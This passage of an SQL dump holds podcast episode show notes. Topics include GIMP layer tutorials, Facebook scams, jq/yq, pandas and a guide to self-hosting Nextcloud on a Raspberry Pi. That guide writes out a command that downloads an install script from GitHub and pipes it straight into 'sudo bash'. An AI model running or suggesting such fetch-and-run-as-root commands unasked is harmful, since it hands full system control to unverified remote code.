class=\"uri\">https://www.youtube.com/channel/UCfG2VhlQgy5bHGmkpeKcjVA</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCrMqdq1osi5ECCBkia2jsNw\" class=\"uri\">https://www.youtube.com/channel/UCrMqdq1osi5ECCBkia2jsNw</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCAg2CRWxgDZPFricsDv6EOA\" class=\"uri\">https://www.youtube.com/channel/UCAg2CRWxgDZPFricsDv6EOA</a></li>\r\n<li><a href=\"https://www.palain.com/spanish/youtube-channels-for-learning-spanish-part-2/\" class=\"uri\">https://www.palain.com/spanish/youtube-channels-for-learning-spanish-part-2/</a></li>\r\n</ul>\r\n',198,116,0,'CC-BY-SA','Spanish, Language learning, YouTube',0,0,1),
(3330,'2021-05-07','A Layer Mask Project',934,'We apply our knowledge of Layer Masks to create a project.','<p>This tutorial has us applying our knowledge of Layer Masks in combination with some other tools to make an image. We start with a photograph, and transform it into something very different, as a way to practice our GIMP skills.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/\" class=\"uri\">https://docs.gimp.org/2.10/en/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Wikipedia:Public_domain_image_resources\" class=\"uri\">https://en.wikipedia.org/wiki/Wikipedia:Public_domain_image_resources</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCnSAUHBwdAEPWeeIs8LTViA\" class=\"uri\">https://www.youtube.com/channel/UCnSAUHBwdAEPWeeIs8LTViA</a></li>\r\n<li><a href=\"https://digitalmedia.fws.gov/\" class=\"uri\">https://digitalmedia.fws.gov/</a></li>\r\n<li><a href=\"https://digitalmedia.fws.gov/digital/collection/natdiglib/id/14486/rec/210\" class=\"uri\">https://digitalmedia.fws.gov/digital/collection/natdiglib/id/14486/rec/210</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/a-layer-mask-project/\" class=\"uri\">https://www.ahuka.com/gimp/a-layer-mask-project/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, Layers, Layer Masks',0,0,1),
(3340,'2021-05-21','Hacked?',603,'People commonly say that their own, or someone else\'s, Facebook has been hacked.','<p>As someone who has reasons to be on Facebook, I have gotten used to seeing people warn that their account was hacked, and we should not accept friend requests from them. It is so common that you would wonder if Facebook had no security at all. But the truth is something different, and worth knowing about.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://www.ricksdailytips.com/beware-duplicate-friend-requests/\" class=\"uri\">https://www.ricksdailytips.com/beware-duplicate-friend-requests/</a></li>\r\n<li><a href=\"https://www.zwilnik.com/hacked/\" class=\"uri\">https://www.zwilnik.com/hacked/</a></li>\r\n</ul>\r\n',198,74,0,'CC-BY-SA','Facebook, scams',0,0,1),
(3249,'2021-01-14','Linux Inlaws S01E21: The Big Linux Inlaws Peep Show',3165,'The two chaps go the full monty and reveal it all','<ul>\r\n<li>Rust for the Linux kernel: <a href=\"https://github.com/Rust-for-Linux/linux\" target=\"_blank\">https://github.com/Rust-for-Linux/linux</a></li>\r\n<li>Linus opinion on C++ in the Linux kernel: <a href=\"https://lkml.org/lkml/2004/1/20/20\" target=\"_blank\">https://lkml.org/lkml/2004/1/20/20</a></li>\r\n<li>gdb: <a href=\"https://www.gnu.org/software/gdb\" target=\"_blank\">https://www.gnu.org/software/gdb</a></li>\r\n<li>lldb: <a href=\"https://lldb.llvm.org\" target=\"_blank\">https://lldb.llvm.org</a></li>\r\n<li>Novell\'s Netware: <a href=\"https://en.wikipedia.org/wiki/NetWare\" target=\"_blank\">https://en.wikipedia.org/wiki/NetWare</a></li>\r\n<li>strace: <a href=\"https://strace.io\" target=\"_blank\">https://strace.io</a></li>\r\n<li>ltrace: <a href=\"https://www.ltrace.org\" target=\"_blank\">https://www.ltrace.org</a></li>\r\n<li>DTrace: <a href=\"https://dtrace.org/blogs/about\" target=\"_blank\">https://dtrace.org/blogs/about</a></li>\r\n<li>ptrace: <a href=\"https://en.wikipedia.org/wiki/Ptrace#Linux\" target=\"_blank\">https://en.wikipedia.org/wiki/Ptrace#Linux</a></li>\r\n<li>Capabilities: <a href=\"https://wiki.archlinux.org/index.php/capabilities\" target=\"_blank\">https://wiki.archlinux.org/index.php/capabilities</a></li>\r\n<li>Extended attributes: <a href=\"https://en.wikipedia.org/wiki/Extended_file_attributes#Linux\" target=\"_blank\">https://en.wikipedia.org/wiki/Extended_file_attributes#L\r\ninux</a></li>\r\n<li>eBPF: <a href=\"https://ebpf.io\" target=\"_blank\">https://ebpf.io</a></li>\r\n<li>BCC: <a href=\"https://github.com/iovisor/bcc\" target=\"_blank\">https://github.com/iovisor/bcc</a></li>\r\n<li>BCC toolchain: <a href=\"https://iovisor.github.io/bcc\" target=\"_blank\">https://iovisor.github.io/bcc</a></li>\r\n<li>Linux kernel tracing: <a href=\"https://www.kernel.org/doc/html/latest/trace/index.html\" target=\"_blank\">https://www.kernel.org/doc/html/latest/trace/index.html</a></li>\r\n<li>Cathy O\'Neil\'s Weapons of Math Destruction: <a href=\"https://en.wikipedia.org/wiki/Weapons_of_Math_Destruction\" target=\"_blank\">https://en.wikipedia.org/wiki/Weapon\r\ns_of_Math_Destruction</a></li>\r\n<li>Audacity: <a href=\"https://manual.audacityteam.org\" target=\"_blank\">https://manual.audacityteam.org</a></li>\r\n<li>Jitsi (Meet): <a href=\"https://github.com/jitsi/jitsi-meet\" target=\"_blank\">https://github.com/jitsi/jitsi-meet</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Nudity, tracing, debugging, extended berkeley packet filter, weapons of math destruction',0,0,1),
(3251,'2021-01-18','Opposing Views on Alcohol',1840,'Windigo and Mrs. Honeyhume discuss their views on alcohol','<p>I discuss the subject of alcohol with my partner of sixteen years, Mrs. Honeyhume. While we agree on many subjects, alcohol is not one of them.</p>\r\n<p>She believes alcohol is an important experience, one to be shared with friends, and I dislike nearly everything about it.</p>\r\n<p>We discuss what we like/dislike about alcohol, our histories with it, and present our personal anecdotal evidence.</p>',196,0,1,'CC-BY-SA','alcohol',0,0,1),
(3350,'2021-06-04','Blending Layers',1321,'GIMP has a number of ways you can blend layers together','<p>This tutorial begins our discussion of how you can blend entire layers in GIMP, starting with changing the opacity of layers, then moving into Layer Modes, which use mathematical functions to allow more complex combinations to achieve certain effects. We discuss the mathematics as a background to more discussion in subsequent tutorials of the specific Layer Modes.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/\" class=\"uri\">https://docs.gimp.org/2.10/en/</a></li>\r\n<li><a href=\"https://www.thefamousartists.com/\" class=\"uri\">https://www.thefamousartists.com/</a></li>\r\n<li><a href=\"https://www.thefamousartists.com/jeong-seon/geumgang-jeondo\" class=\"uri\">https://www.thefamousartists.com/jeong-seon/geumgang-jeondo</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=17Iivi0tmug\" class=\"uri\">https://www.youtube.com/watch?v=17Iivi0tmug</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=J9YyQpJa-ns\" class=\"uri\">https://www.youtube.com/watch?v=J9YyQpJa-ns</a></li>\r\n<li><a href=\"https://ninedegreesbelow.com/photography/gimp-lch-blend-modes.html\" class=\"uri\">https://ninedegreesbelow.com/photography/gimp-lch-blend-modes.html</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Blend_modes\" class=\"uri\">https://en.wikipedia.org/wiki/Blend_modes</a></li>\r\n<li><a href=\"https://search.creativecommons.org/\" class=\"uri\">https://search.creativecommons.org/</a></li>\r\n<li><a href=\"https://search.creativecommons.org/photos/d3067227-9d89-46e6-b5ba-3910432e2a9f\" class=\"uri\">https://search.creativecommons.org/photos/d3067227-9d89-46e6-b5ba-3910432e2a9f</a></li>\r\n<li><a href=\"https://search.creativecommons.org/photos/84314932-0a0a-4824-a1a9-fbb3196bfc4c\" class=\"uri\">https://search.creativecommons.org/photos/84314932-0a0a-4824-a1a9-fbb3196bfc4c</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/blending-layers/\" class=\"uri\">https://www.ahuka.com/gimp/blending-layers/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, Layers, Layer Modes, Opacity',0,0,1),
(3360,'2021-06-18','Android Malware Alert',665,'A look at some security issues in Android','<p>A type of malware nicknamed Joker has been infecting Android devices. In this episode we dig a little deeper into what this is and how it works.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://stackoverflow.com/questions/7750448/what-are-dex-files-in-android#7750547\" class=\"uri\">https://stackoverflow.com/questions/7750448/what-are-dex-files-in-android#7750547</a></li>\r\n<li><a href=\"https://www.zscaler.com/blogs/security-research/joker-playing-hide-and-seek-google-play\" class=\"uri\">https://www.zscaler.com/blogs/security-research/joker-playing-hide-and-seek-google-play</a></li>\r\n<li><a href=\"https://blog.sucuri.net/2020/08/string-concatenation-obfuscation-techniques.html\" class=\"uri\">https://blog.sucuri.net/2020/08/string-concatenation-obfuscation-techniques.html</a></li>\r\n<li><a href=\"https://www.anquanke.com/post/id/211978\" class=\"uri\">https://www.anquanke.com/post/id/211978</a></li>\r\n<li><a href=\"https://www.zscaler.com/blogs/security-research/joker-playing-hide-and-seek-google-play\" class=\"uri\">https://www.zscaler.com/blogs/security-research/joker-playing-hide-and-seek-google-play</a></li>\r\n<li><a href=\"https://www.techrepublic.com/article/how-to-manage-app-permissions-in-android-11\" class=\"uri\">https://www.techrepublic.com/article/how-to-manage-app-permissions-in-android-11</a></li>\r\n<li><a href=\"https://arstechnica.com/information-technology/2020/09/joker-the-malware-that-signs-you-up-for-pricey-services-floods-android-markets/\" class=\"uri\">https://arstechnica.com/information-technology/2020/09/joker-the-malware-that-signs-you-up-for-pricey-services-floods-android-markets/</a></li>\r\n<li><a href=\"https://www.zwilnik.com/android-malware-alert\" class=\"uri\">https://www.zwilnik.com/android-malware-alert</a></li>\r\n</ul>\r\n',198,74,0,'CC-BY-SA','Android, malware',0,0,1),
(3370,'2021-07-02','More Free Images?',869,'We look at some more free photo sites to see if they are really free','<p>This tutorial adds to our discussion of freely usable photos by looking at a list compiled on the blog of a marketing site Twenty Over Ten. They gave us their top 15 sites, but can I recommend them unreservedly? Not necessarily, you have to dig into each one of them to get to the truth.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://blog.twentyoverten.com/10-best-sites-for-free-stock-photos/\" class=\"uri\">https://blog.twentyoverten.com/10-best-sites-for-free-stock-photos/</a></li>\r\n<li><a href=\"https://unsplash.com/\" class=\"uri\">https://unsplash.com/</a></li>\r\n<li><a href=\"https://unsplash.com/license\" class=\"uri\">https://unsplash.com/license</a></li>\r\n<li><a href=\"https://pixabay.com/\" class=\"uri\">https://pixabay.com/</a></li>\r\n<li><a href=\"https://www.pexels.com/\" class=\"uri\">https://www.pexels.com/</a></li>\r\n<li><a href=\"https://kaboompics.com/\" class=\"uri\">https://kaboompics.com/</a></li>\r\n<li><a href=\"https://shutteroo.com/\" class=\"uri\">https://shutteroo.com/</a></li>\r\n<li><a href=\"https://negativespace.co/\" class=\"uri\">https://negativespace.co/</a></li>\r\n<li><a href=\"https://fancycrave.com/\" class=\"uri\">https://fancycrave.com/</a></li>\r\n<li><a href=\"https://burst.shopify.com/\" class=\"uri\">https://burst.shopify.com/</a></li>\r\n<li><a href=\"https://burst.shopify.com/licenses/shopify-some-rights-reserved\" class=\"uri\">https://burst.shopify.com/licenses/shopify-some-rights-reserved</a></li>\r\n<li><a href=\"https://picjumbo.com/\" class=\"uri\">https://picjumbo.com/</a></li>\r\n<li><a href=\"https://freerangestock.com/#\" class=\"uri\">https://freerangestock.com/#</a></li>\r\n<li><a href=\"https://www.equalicense.com\" class=\"uri\">https://www.equalicense.com</a></li>\r\n<li><a href=\"https://libreshot.com/\" class=\"uri\">https://libreshot.com/</a></li>\r\n<li><a href=\"https://libreshot.com/license-information/\" class=\"uri\">https://libreshot.com/license-information/</a></li>\r\n<li><a href=\"https://www.nappy.co/\" class=\"uri\">https://www.nappy.co/</a></li>\r\n<li><a href=\"https://www.nappy.co/license\" class=\"uri\">https://www.nappy.co/license</a></li>\r\n<li><a href=\"https://stocksnap.io/\" class=\"uri\">https://stocksnap.io/</a></li>\r\n<li><a href=\"https://stocksnap.io/license\" class=\"uri\">https://stocksnap.io/license</a></li>\r\n<li><a href=\"https://www.splitshire.com/\" class=\"uri\">https://www.splitshire.com/</a></li>\r\n<li><a href=\"https://www.lifeofpix.com/\" class=\"uri\">https://www.lifeofpix.com/</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/more-free-image-sites/\" class=\"uri\">https://www.ahuka.com/gimp/more-free-image-sites/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','Stock Photos, Creative Commons, Free Photos',0,0,1),
(3380,'2021-07-16','Building a Better Goodreads with ActivityPub',698,'This episode looks at the popular application Goodreads to see if it can be done better.','<p>Federated social media can open up some wonderful possibilities to reimagine some of the social apps we already use and find ways to do them better. In this episode I want to highlight a talk that aimed at such a reimagining involving an app I already use, Goodreads. My main use of it is to manage my book library, but it also involves a social aspect where you can be friends with people and share book reviews, recommendations, and so on. So seeing how this can be done differently with ActivityPub was very interesting to me.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://conf.tube/videos/watch/c42604a8-d71d-4bd0-8081-d2c77210f206\" class=\"uri\">https://conf.tube/videos/watch/c42604a8-d71d-4bd0-8081-d2c77210f206</a></li>\r\n<li><a href=\"https://www.goodreads.com/\" class=\"uri\">https://www.goodreads.com/</a></li>\r\n<li><a href=\"https://www.palain.com/im-learning-spanish/\" class=\"uri\">https://www.palain.com/im-learning-spanish/</a></li>\r\n<li><a href=\"https://learnawesome.org/\" class=\"uri\">https://learnawesome.org/</a></li>\r\n<li><a href=\"https://github.com/learn-awesome\" class=\"uri\">https://github.com/learn-awesome</a></li>\r\n<li><a href=\"https://www.zwilnik.com/better-social-media/activitypub-conference-2020/activitypub-conference-2020-nilesh-trivedi/\" class=\"uri\">https://www.zwilnik.com/better-social-media/activitypub-conference-2020/activitypub-conference-2020-nilesh-trivedi/</a></li>\r\n</ul>\r\n',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub, Goodreads, library',0,0,1),
(3248,'2021-01-13','SARS-CoV-2 detection by PCR explanation',1464,'This episode summarizes the process to detect the virus that causes COVID-19 by PCR','<h2 id=\"basic-process\">Basic Process</h2>\r\n<ol>\r\n<li>Sample Collection</li>\r\n<li>Sample Transportation</li>\r\n<li>Nucleic Acid extraction and Purification</li>\r\n<li>Amplification and Detection</li>\r\n</ol>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Polymerase_chain_reaction\">https://en.wikipedia.org/wiki/Polymerase_chain_reaction</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Coronavirus\">https://en.wikipedia.org/wiki/Coronavirus</a></li>\r\n<li><a href=\"https://www.k-state.edu/hermanlab/protocols/StandardPCRConditions.html\">https://www.k-state.edu/hermanlab/protocols/StandardPCRConditions.html</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/RNA\">https://en.wikipedia.org/wiki/RNA</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/DNA\">https://en.wikipedia.org/wiki/DNA</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Thermus_aquaticus\">https://en.wikipedia.org/wiki/Thermus_aquaticus</a></li>\r\n</ul>\r\n',300,100,0,'CC-BY-SA','PCR,COVID019',0,0,1),
(3252,'2021-01-19','Simple JSON querying tool (also YAML, and to a lesser extent XML)',1137,'crvs talks about jq, yq and xq','<h1 id=\"json\">JSON</h1>\r\n<p>Json is a cool little data serialization language, that allows you to easily and clearly demarcate blocks of data by nesting data structures such as lists (enclosed by square brackets) and key-value pairs or \"dictionaries\" (enclosed by curly braces). So that in the end you get something that looks like this</p>\r\n<pre><code>{\r\n&quot;first list&quot; : [ &quot;element1&quot;, &quot;element2&quot;, {&quot;element3&quot; : &quot;is another k-v pair&quot;, &quot;but contains&quot; : [&quot;a&quot; , &quot;list&quot;, &quot;of&quot;, &quot;words&quot;]}] ,\r\n&quot;this value is a string&quot; : &quot;1&quot; ,\r\n&quot;and this is a number&quot; : 23 ,\r\n&quot;and floating point&quot; :  1.413\r\n}</code></pre>\r\n<p>Aside from:</p>\r\n<ul>\r\n<li>Lists are enclosed in [] and each element is separated by ,</li>\r\n<li>Key-value pair lists are enclosed in {} and have the key and value separated by : and each pair is separated by ,</li>\r\n<li>Keys have to strings quoted with double quotes</li>\r\n<li>Numbers may be left unquoted (but just in value fields)</li>\r\n</ul>\r\n<p>There are no restrictions to what you can do with JSON. Given how explicit the syntax is then, it makes for very easy parsing, and there are plenty of good parser out there. <a href=\"https://stedolan.github.io/jq/\">My favourite JSON parser is jq(1)</a>.</p>\r\n<p>A canonical representation of the JSON example above can easily be obtained with jq by simply calling <code>jq \'\' file.json</code> (or piping the file through stdin, or even putting the contents properly quoted as the second argument).</p>\r\n<pre><code>{\r\n  &quot;first list&quot;: [\r\n    &quot;element1&quot;,\r\n    &quot;element2&quot;,\r\n    {\r\n      &quot;element3&quot;: &quot;is another k-v pair&quot;,\r\n      &quot;but contains&quot;: [\r\n        &quot;a&quot;,\r\n        &quot;list&quot;,\r\n        &quot;of&quot;,\r\n        &quot;words&quot;\r\n      ]\r\n    }\r\n  ],\r\n  &quot;this value is a string&quot;: &quot;1&quot;,\r\n  &quot;and this is a number&quot;: 23,\r\n  &quot;and floating point&quot;: 1.413\r\n}</code></pre>\r\n<p>You can also use jq in a shell script to obtain, for example the second element of the first list:</p>\r\n<pre><code>$ jq &#39;.&quot;first list&quot;[1]&#39; example.json\r\n&quot;element2&quot;</code></pre>\r\n<p>So to get the value associated to a key you use the notation <code>.key</code> and to get the k-th element you use the notation <code>[k-1]</code>. To remove the quotes on the string you can use the <code>-r</code> flag which stands for raw output.</p>\r\n<p><code>jq(1)</code> also gives you a few more functionalities that can be useful like getting the number of elements in a list with the length function.</p>\r\n<pre><code>$ jq &#39;length&#39;  example.json\r\n3\r\n$ jq &#39;.&quot;first list&quot;[2].&quot;but contains&quot; | length&#39;\r\n4</code></pre>\r\n<p>Another useful feature is getting the list of keys from a key-value pair list which can be done with the function <code>keys</code></p>\r\n<pre><code>$ jq &#39;.&quot;first list&quot;[2] | keys[]&#39; example.json\r\n&quot;but contains&quot;,\r\n&quot;element3&quot;</code></pre>\r\n<p>The query language is much much more flexible than this, but for most cases this should be enough for simple configuration querying.</p>\r\n<h1 id=\"yaml-and-xml\">YAML and XML??</h1>\r\n<p><a href=\"https://pypi.org/project/yq/\">The yq project</a> allows one to use the exact same syntax as jq to query, and emit (and therefore also transcode) yaml and XML, extending the usefulness of the query language.</p>\r\n<p>So for example looking at the previous file through <code>yq</code> gives:</p>\r\n<pre><code>$ yq -y &#39;&#39; example.json\r\nfirst list:\r\n  - element1\r\n  - element2\r\n  - element3: is another k-v pair\r\n    but contains:\r\n      - a\r\n      - list\r\n      - of\r\n      - words\r\nthis value is a string: &#39;1&#39;\r\nand this is a number: 23\r\nand floating point: 1.413</code></pre>\r\n<p>And the output of this can be of course queried with <code>yq</code> itself, or can be used to feed into whatever application requires a yaml input (I guess it lacks the triple dash at the top, but that is actually the only warning I get from passing that abomination to yamllint)</p>\r\n<p>Similarly <code>xq</code> can be used to query XML files with the same language. However, to emit these files from json you need to use <code>yq -x</code> like so:</p>\r\n<pre><code>$ yq -x &#39;&#39; example2.json\r\n&lt;file&gt;\r\n  &lt;first_list&gt;element1&lt;/first_list&gt;\r\n  &lt;first_list&gt;element2&lt;/first_list&gt;\r\n  &lt;first_list&gt;\r\n    &lt;element3&gt;is another k-v pair&lt;/element3&gt;\r\n    &lt;but_contains&gt;a&lt;/but_contains&gt;\r\n    &lt;but_contains&gt;list&lt;/but_contains&gt;\r\n    &lt;but_contains&gt;of&lt;/but_contains&gt;\r\n    &lt;but_contains&gt;words&lt;/but_contains&gt;\r\n  &lt;/first_list&gt;\r\n  &lt;this_value_is_a_string&gt;1&lt;/this_value_is_a_string&gt;\r\n  &lt;and_this_is_a_number&gt;23&lt;/and_this_is_a_number&gt;\r\n  &lt;and_floating_point&gt;1.413&lt;/and_floating_point&gt;\r\n&lt;/file&gt;</code></pre>\r\n<p>where the original (modified) file <code>example2.json</code> looks like:</p>\r\n<pre><code>{\r\n    &quot;file&quot;:\r\n    {\r\n      &quot;first_list&quot;: [\r\n        &quot;element1&quot;,\r\n        &quot;element2&quot;,\r\n        {\r\n          &quot;element3&quot;: &quot;is another k-v pair&quot;,\r\n          &quot;but_contains&quot;: [\r\n            &quot;a&quot;,\r\n            &quot;list&quot;,\r\n            &quot;of&quot;,\r\n            &quot;words&quot;\r\n          ]\r\n        }\r\n      ],\r\n      &quot;this_value_is_a_string&quot;: &quot;1&quot;,\r\n      &quot;and_this_is_a_number&quot;: 23,\r\n      &quot;and_floating_point&quot;: 1.413\r\n    }\r\n}</code></pre>\r\n<p>So that the root dictionary has a single key-value pair and all the keys have no spaces in them (so that they can be made into xml tags).</p>\r\n',385,0,1,'CC-BY-SA','json, yaml, xml, query',0,0,1),
(3253,'2021-01-20','Pandas Intro',1241,'Enigma introduces one of his favorite python modules pandas','<p>\r\nWelcome to another episode of HPR I\'m your host Enigma and today we are going to be talking\r\nabout one of my favorite python modules Pandas <br>\r\nThis will be the first episode in a series I\'m naming: For The Love of Python. <br>\r\n<br>\r\nFirst we need to get the module <br>\r\npip or pip3 install pandas <br>\r\nThis will install numpy as well <br>\r\nPandas uses an object called a dataframe which is a two-dimensional data structure, <br>\r\ni.e., data is aligned in a tabular fashion in rows and columns. Think of a spreadsheet type object in memory\r\n<br> <br>\r\nToday we are going to talk about: <br>\r\n<b>1) Importing data from various sources</b><br>\r\nCsv, excel, sql. More advance topics like Json covered in another episode. <br>\r\ndf = pd.read_csv(\'file name\') <br>\r\n<br>\r\n<b>2) Accessing data by column names or positionally </b> <br>\r\nprint(df.head(5)) # print all columns only first 5 rows <br>\r\nprint(df.tail(5)) # print all columns only last 5 rows <br>\r\nprint(df.shape) # print number of rows and columns in dataframe <br>\r\nprint(df.columns) print column names <br>\r\nprint(df[0:1].head(5)) print first two columns first 5 values by column position <br>\r\nprint(df[\'field1].head(5)) print same column first five values by column name <br>\r\n<br>\r\n<b>3) Setting column types. </b> <br>\r\ndf[\'FieldName\'] = df[\'FieldName\'].astype(int) # sets column as interger <br>\r\ndf[\'FieldName\'] = df[\'FieldName\'].astype(str) # sets column to string <br>\r\ndf[\'DateColumn\'] = pd.to_datetime(df[\'DateColumn\']) # sets column to Datetime <br>\r\n<br>\r\n<br>\r\n<b>4) Some basic filtering/manipulation of data. </b><br>\r\nSplits string at the @ for one split next two lines create 2 columns that use the pieces. <br>\r\nnew = df2[\"Email\"].str.split(\"@\", n = 1, expand = True) <br>\r\ndf2[\"user\"]= new[0] <br>\r\ndf2[\"domain\"]= new[1] <br>\r\n<br>\r\ndf[\'col\'] = df[\'Office\'].str[:3] # creates a new column grabing the first 3 positions of Office column <br>\r\ndf = df[df[\'FieldName\'] != 0] # Only keep rows that have a FieldName value not equal to zero <br>\r\n<br>\r\nSee example code that you can run at: <br>\r\n<a href = \'https://github.com/eth0enigma/PandasExample\'> Pandas Working example </a>\r\n</p>',39,38,0,'CC-BY-SA','python, data analytics, data science',0,0,1),
(3256,'2021-01-25','Update, MS Teams, Covid 19, Raspberry PI 400 Raspberry PI 4 8GB Centos',539,'Hey guys just a short update, whats going with Centos?  Raspberry PI 400 Good buy','<p>Hey guys I have been doing a lot of MS Teams it works on Linux not so I can have 365 on my ubuntu browser and MS teams installed. (Work complete from a linux box) (It\'s great) The Raspberry PI400 is a great box you should get it. Also I thought the Raspberry 4 8GB to be very solid.</p>\r\n',129,0,0,'CC-BY-SA','Centos, Oracle linux, MS Teams, Covid, Raspberry, PI 400',0,0,1),
(3257,'2021-01-26','Lack of diversity in Linux and other open source communities',714,'I consider some reasons that there is a lack of diversity when it comes to open source communities. ','<ol type=\"1\">\r\n<li>Why is there a lack of diverse voices and faces in the world of Linux and open source</li>\r\n<li>Free software but it\'s not made available to the very people who could really benefit from it</li>\r\n<li>Lack of training in schools when it comes to Linux and other open source software</li>\r\n</ol>',297,0,0,'CC-BY-SA','linux, race, podcast',0,0,1),
(3259,'2021-01-28','Nextcloud - The easy way',482,'Self hosting a Nextcloud instance.','<p><a href=\"https://peyanski.com/personal-cloud-from-home-nextcloud-on-raspberry-pi/#Nextcloud_initial_setup\" class=\"uri\">https://peyanski.com/personal-cloud-from-home-nextcloud-on-raspberry-pi/#Nextcloud_initial_setup</a></p>\r\n<pre><code>sudo apt-get update &amp;&amp; sudo apt-get upgrade -y</code></pre>\r\n<p>Start the Nextcloud on Raspberry Pi installation with the following script.</p>\r\n<pre><code>curl -sSL https://raw.githubusercontent.com/nextcloud/nextcloudpi/master/install.sh | sudo bash</code></pre>\r\n<p>Github script content</p>\r\n<p><a href=\"https://raw.githubusercontent.com/nextcloud/nextcloudpi/master/install.sh\" class=\"uri\">https://raw.githubusercontent.com/nextcloud/nextcloudpi/master/install.sh</a></p>\r\n<pre><code>\r\n#!/bin/bash\r\n\r\n# NextCloudPi installation script\r\n#\r\n# Copyleft 2017 by Ignacio Nunez Hernanz &lt;nacho _a_t_ ownyourbits _d_o_t_ com&gt;\r\n# GPL licensed (see end of file) * Use at your own risk!\r\n#\r\n# Usage: ./install.sh\r\n#\r\n# more details at https://ownyourbits.com\r\n\r\nBRANCH=master\r\n#DBG=x\r\n\r\nset -e$DBG\r\n\r\nTMPDIR=&quot;$(mktemp -d /tmp/nextcloudpi.XXXXXX || (echo &quot;Failed to create temp dir.\r\nExiting&quot; &gt;&amp;2 ; exit 1) )&quot;\r\ntrap &quot;rm -rf &quot;${TMPDIR}&quot; ; exit 0&quot; 0 1 2 3 15\r\n\r\n[[ ${EUID} -ne 0 ]] &amp;&amp; {\r\n  printf &quot;Must be run as root. Try &#39;sudo $0&#39;n&quot;\r\n  exit 1\r\n}\r\n\r\nexport PATH=&quot;/usr/local/sbin:/usr/sbin:/sbin:${PATH}&quot;\r\n\r\n# check installed software\r\ntype mysqld  &amp;&gt;/dev/null &amp;&amp; echo &quot;&gt;&gt;&gt; WARNING: existing mysqld configuration\r\nwill be changed &lt;&lt;&lt;&quot;\r\n\r\n# get install code\r\necho &quot;Getting build code...&quot;\r\napt-get update\r\napt-get install --no-install-recommends -y wget ca-certificates sudo lsb-release\r\n\r\npushd &quot;$TMPDIR&quot;\r\nwget -qO- --content-disposition\r\nhttps://github.com/nextcloud/nextcloudpi/archive/&quot;$BRANCH&quot;/latest.tar.gz\r\n  | tar -xz\r\n  || exit 1\r\ncd - &amp;&amp; cd &quot;$TMPDIR&quot;/nextcloudpi-&quot;$BRANCH&quot;\r\n\r\n# install NCP\r\necho -e &quot;nInstalling NextCloudPi...&quot;\r\nsource etc/library.sh\r\n\r\n# check distro\r\ncheck_distro etc/ncp.cfg || {\r\n  echo &quot;ERROR: distro not supported:&quot;;\r\n  cat /etc/issue\r\n  exit 1;\r\n}\r\n\r\n\r\nmkdir -p /usr/local/etc/ncp-config.d/\r\ncp etc/ncp-config.d/nc-nextcloud.cfg /usr/local/etc/ncp-config.d/\r\ncp etc/library.sh /usr/local/etc/\r\ncp etc/ncp.cfg /usr/local/etc/\r\n\r\ninstall_app    lamp.sh\r\ninstall_app    bin/ncp/CONFIG/nc-nextcloud.sh\r\nrun_app_unsafe bin/ncp/CONFIG/nc-nextcloud.sh\r\nsystemctl restart mysqld # TODO this shouldn&#39;t be necessary, but somehow it&#39;s\r\nneeded in Debian 9.6. Fixme\r\ninstall_app    ncp.sh\r\nrun_app_unsafe bin/ncp/CONFIG/nc-init.sh\r\nbash /usr/local/bin/ncp-provisioning.sh\r\n\r\npopd\r\n\r\nIFACE=&quot;$( ip r | grep &quot;default via&quot; | awk &#39;{ print $5 }&#39; | head -1 )&quot;\r\nIP=&quot;$( ip a show dev &quot;$IFACE&quot; | grep global | grep -oP &#39;d{1,3}(.d{1,3}){3}&#39; |\r\nhead -1 )&quot;\r\n\r\necho &quot;Done.\r\n\r\nFirst: Visit https://$IP/  https://nextcloudpi.local/ (also\r\nhttps://nextcloudpi.lan/ or https://nextcloudpi/ on windows and mac)\r\nto activate your instance of NC, and save the auto generated passwords. You may\r\nreview or reset them\r\nanytime by using nc-admin and nc-passwd.\r\nSecond: Type &#39;sudo ncp-config&#39; to further configure NCP, or access ncp-web on\r\nhttps://$IP:4443/\r\nNote: You will have to add an exception, to bypass your browser warning when you\r\nfirst load the activation and :4443 pages. You can run letsencrypt to get rid of\r\nthe warning if you have a (sub)domain available.\r\n&quot;\r\n\r\nexit 0\r\n\r\n# License\r\n#\r\n# This script is free software; you can redistribute it and/or modify it\r\n# under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation; either version 2 of the License, or\r\n# (at your option) any later version.\r\n#\r\n# This script is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r\n# GNU General Public License for more details.\r\n#\r\n# You should have received a copy of the GNU General Public License\r\n# along with this script; if not, write to the\r\n# Free Software Foundation, Inc., 59 Temple Place, Suite 330,\r\n# Boston, MA  02111-1307  USA\r\n</code></pre>\r\n<p>DuckDNS</p>\r\n<p><a href=\"https://www.duckdns.org\" 